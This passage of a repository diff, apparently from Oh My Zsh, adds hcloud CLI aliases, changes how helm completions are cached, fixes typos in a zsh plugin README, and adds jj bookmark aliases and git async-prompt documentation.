alias hcndesc='hcloud network describe'
|
||||
alias hcnas='hcloud network add-subnet'
|
||||
alias hcnds='hcloud network delete-subnet'
|
||||
alias hcnar='hcloud network add-route'
|
||||
alias hcndr='hcloud network delete-route'
|
||||
|
||||
# Floating IP management
|
||||
alias hcfip='hcloud floating-ip'
|
||||
alias hcfipl='hcloud floating-ip list'
|
||||
alias hcfipc='hcloud floating-ip create'
|
||||
alias hcfipd='hcloud floating-ip delete'
|
||||
alias hcfipdesc='hcloud floating-ip describe'
|
||||
alias hcfipa='hcloud floating-ip assign'
|
||||
alias hcfipua='hcloud floating-ip unassign'
|
||||
|
||||
# SSH key management
|
||||
alias hcsk='hcloud ssh-key'
|
||||
alias hcskl='hcloud ssh-key list'
|
||||
alias hcskc='hcloud ssh-key create'
|
||||
alias hcskd='hcloud ssh-key delete'
|
||||
alias hcskdesc='hcloud ssh-key describe'
|
||||
alias hcsku='hcloud ssh-key update'
|
||||
|
||||
# Image management
|
||||
alias hci='hcloud image'
|
||||
alias hcil='hcloud image list'
|
||||
alias hcid='hcloud image delete'
|
||||
alias hcidesc='hcloud image describe'
|
||||
alias hciu='hcloud image update'
|
||||
|
||||
# Firewall management
|
||||
alias hcfw='hcloud firewall'
|
||||
alias hcfwl='hcloud firewall list'
|
||||
alias hcfwc='hcloud firewall create'
|
||||
alias hcfwd='hcloud firewall delete'
|
||||
alias hcfwdesc='hcloud firewall describe'
|
||||
alias hcfwar='hcloud firewall add-rule'
|
||||
alias hcfwdr='hcloud firewall delete-rule'
|
||||
alias hcfwas='hcloud firewall apply-to-resource'
|
||||
alias hcfwrs='hcloud firewall remove-from-resource'
|
||||
|
||||
# Load balancer management
|
||||
alias hclb='hcloud load-balancer'
|
||||
alias hclbl='hcloud load-balancer list'
|
||||
alias hclbc='hcloud load-balancer create'
|
||||
alias hclbd='hcloud load-balancer delete'
|
||||
alias hclbdesc='hcloud load-balancer describe'
|
||||
alias hclbu='hcloud load-balancer update'
|
||||
alias hclbas='hcloud load-balancer add-service'
|
||||
alias hclbds='hcloud load-balancer delete-service'
|
||||
alias hclbat='hcloud load-balancer add-target'
|
||||
alias hclbdt='hcloud load-balancer delete-target'
|
||||
|
||||
# Certificate management
|
||||
alias hccert='hcloud certificate'
|
||||
alias hccertl='hcloud certificate list'
|
||||
alias hccertc='hcloud certificate create'
|
||||
alias hccertd='hcloud certificate delete'
|
||||
alias hccertdesc='hcloud certificate describe'
|
||||
alias hccertu='hcloud certificate update'
|
||||
|
||||
# Datacenter and location info
|
||||
alias hcdc='hcloud datacenter list'
|
||||
alias hcloc='hcloud location list'
|
||||
alias hcst='hcloud server-type list'
|
||||
alias hcit='hcloud image list --type system'
|
||||
@@ -9,7 +9,11 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_helm" ]]; then
|
||||
source "$ZSH_CACHE_DIR/completions/_helm"
|
||||
else
|
||||
source "$ZSH_CACHE_DIR/completions/_helm"
|
||||
helm completion zsh | tee "$ZSH_CACHE_DIR/completions/_helm" >/dev/null &|
|
||||
zmodload -F zsh/files b:zf_mv
|
||||
() {
|
||||
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_helm"
|
||||
zf_mv -f -- =( helm completion zsh ) "$TMPPREFIX"
|
||||
} &|
|
||||
fi
|
||||
|
||||
alias h='helm'
|
||||
|
||||
@@ -20,7 +20,7 @@ Requirements
|
||||
Install
|
||||
------------------------------------------------------------------------------
|
||||
|
||||
Using the [Homebrew]( https://brew.sh ) package manager:
|
||||
Using the [Homebrew](https://brew.sh) package manager:
|
||||
|
||||
brew install zsh-history-substring-search
|
||||
echo 'source $(brew --prefix)/share/zsh-history-substring-search/zsh-history-substring-search.zsh' >> ~/.zshrc
|
||||
@@ -79,7 +79,7 @@ Using [Zinit](https://github.com/zdharma-continuum/zinit):
|
||||
|
||||
2. Load the plugin in `~/.zshrc`:
|
||||
|
||||
zinit load 'zsh-users/zsh-history-substring-search
|
||||
zinit load 'zsh-users/zsh-history-substring-search'
|
||||
zinit ice wait atload'_history_substring_search_config'
|
||||
|
||||
3. Run `exec zsh` to take changes into account:
|
||||
|
||||
@@ -3,6 +3,13 @@
|
||||
0="${${ZERO:-${0:#$ZSH_ARGZERO}}:-${(%):-%N}}"
|
||||
0="${${(M)0:#/*}:-$PWD/$0}"
|
||||
|
||||
# Respect case sensitivity settings for globbing in history search
|
||||
if [[ "$CASE_SENSITIVE" = true ]]; then
|
||||
: ${HISTORY_SUBSTRING_SEARCH_GLOBBING_FLAGS=''}
|
||||
else
|
||||
: ${HISTORY_SUBSTRING_SEARCH_GLOBBING_FLAGS='i'}
|
||||
fi
|
||||
|
||||
source ${0:A:h}/history-substring-search.zsh
|
||||
|
||||
|
||||
|
||||
@@ -12,6 +12,18 @@ plugins=(... jj)
|
||||
|
||||
| Alias | Command |
|
||||
| ------ | ----------------------------- |
|
||||
| jja | `jj abandon` |
|
||||
| jjb | `jj bookmark` |
|
||||
| jjba | `jj bookmark advance` |
|
||||
| jjbc | `jj bookmark create` |
|
||||
| jjbd | `jj bookmark delete` |
|
||||
| jjbf | `jj bookmark forget` |
|
||||
| jjbl | `jj bookmark list` |
|
||||
| jjbm | `jj bookmark move` |
|
||||
| jjbr | `jj bookmark rename` |
|
||||
| jjbs | `jj bookmark set` |
|
||||
| jjbt | `jj bookmark track` |
|
||||
| jjbu | `jj bookmark untrack` |
|
||||
| jjc | `jj commit` |
|
||||
| jjcmsg | `jj commit --message` |
|
||||
| jjd | `jj diff` |
|
||||
@@ -22,14 +34,20 @@ plugins=(... jj)
|
||||
| jjgf | `jj git fetch` |
|
||||
| jjgfa | `jj git fetch --all-remotes` |
|
||||
| jjgp | `jj git push` |
|
||||
| jjgpa | `jj git push --all` |
|
||||
| jjgpd | `jj git push --deleted` |
|
||||
| jjgpt | `jj git push --tracked` |
|
||||
| jjl | `jj log` |
|
||||
| jjla | `jj log -r "all()"` |
|
||||
| jjn | `jj new` |
|
||||
| jjnt | `jj new "trunk()"` |
|
||||
| jjrb | `jj rebase` |
|
||||
| jjrbm | `jj rebase -d "trunk()"` |
|
||||
| jjrs | `jj restore` |
|
||||
| jjrt | `cd "$(jj root \|\| echo .)"` |
|
||||
| jjsp | `jj split` |
|
||||
| jjsq | `jj squash` |
|
||||
| jjst | `jj status` |
|
||||
|
||||
## Prompt usage
|
||||
|
||||
@@ -81,6 +99,25 @@ If you prefer to keep your prompt always up-to-date but still don't want to _fee
|
||||
your prompt asynchronous. This plugin doesn't do this automatically so you'd have to hack your theme a bit for
|
||||
that.
|
||||
|
||||
### Git async-prompt compatibility
|
||||
|
||||
If you use a wrapper function that calls `git_prompt_info` (as shown above), it won't work with
|
||||
the default git async-prompt mode. This is because async-prompt only registers its background worker
|
||||
when it detects `$(git_prompt_info)` literally in your prompt variables. A wrapper like
|
||||
`$(_my_theme_vcs_info)` won't match, so the async output stays empty.
|
||||
|
||||
To fix this, add one of the following to your `.zshrc` **before** Oh My Zsh is sourced:
|
||||
|
||||
```zsh
|
||||
# Option 1: force async handlers to always register (recommended, keeps async behavior)
|
||||
zstyle ':omz:alpha:lib:git' async-prompt force
|
||||
|
||||
# Option 2: disable async-prompt entirely (simpler, but prompt may feel slower in large repos)
|
||||
zstyle ':omz:alpha:lib:git' async-prompt no
|
||||
```
|
||||
|
||||
See [#13555](https://github.com/ohmyzsh/ohmyzsh/issues/13555) for details.
|
||||
|
||||
## See Also
|
||||
|
||||
- [martinvonz/jj](https://github.com/martinvonz/jj)
|
||||
@@ -88,3 +125,4 @@ that.
|
||||
## Contributors
|
||||
|
||||
- [nasso](https://github.com/nasso) - Plugin Author
|
||||
- [imp](https://github.com/imp) - Occasional Alias Contributor
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user